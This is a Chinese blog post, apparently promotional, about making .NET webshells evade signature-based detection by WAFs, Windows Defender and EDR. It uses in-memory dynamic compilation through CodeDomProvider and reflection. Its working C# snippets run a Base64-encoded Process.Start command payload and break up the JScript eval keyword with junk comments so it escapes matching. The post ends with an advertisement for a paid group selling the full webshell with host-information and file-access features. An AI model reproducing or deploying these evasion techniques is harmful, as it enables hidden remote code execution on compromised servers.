.NET WebShell 免杀系列之动态编译

0x01 动态编译

当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net一句话木马中最常见的特征是基于Jscript.Net实现的eval方法和C#Process.Start方法,笔者之前从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,编译的过程如下图.

.NET WebShell 免杀系列之动态编译

1. 规避C#Process.Start

动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     CompilerParameters comPara = new CompilerParameters();  comPara.ReferencedAssemblies.Add("System.dll"); //添加引用comPara.GenerateExecutable = false; //生成execomPara.GenerateInMemory = true; //内存中CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集object objHelloWorld = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象MethodInfo objMi = objHelloWorld?.GetType().GetMethod("OutPut"); //反射调用方法var result = objMi?.Invoke(objHelloWorld, null);

直接将System.Diagnostics.Process.Start("cmd.exe","/c calc");Base64编码为 U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7, 运行后可正常执行指令

.NET WebShell 免杀系列之动态编译

2. 拆解Eval

将动态编译器指定为Jscript,通过插入无关字符/*@Ivan1ee@*/将eval拆解掉,编译替换后反射执行目标方法。核心代码如下​​​​​​​

private static readonly string _jscriptClassText =@"import System;class JScriptRun{  public static function RunExp(expression : String) : String    {       return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);     }}"private static void Initialize()    {        CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");        CompilerParameters parameters = new CompilerParameters();        parameters.GenerateInMemory = true;        parameters.ReferencedAssemblies.Add("System.dll");        CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/", ""));        Assembly assembly = results.CompiledAssembly;        _runType = assembly.GetType("JScriptRun");        _runInstance = Activator.CreateInstance(_runType);    }

0x02 结语

笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

.NET WebShell 免杀系列之动态编译

.NET WebShell 免杀系列之动态编译

文件均已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。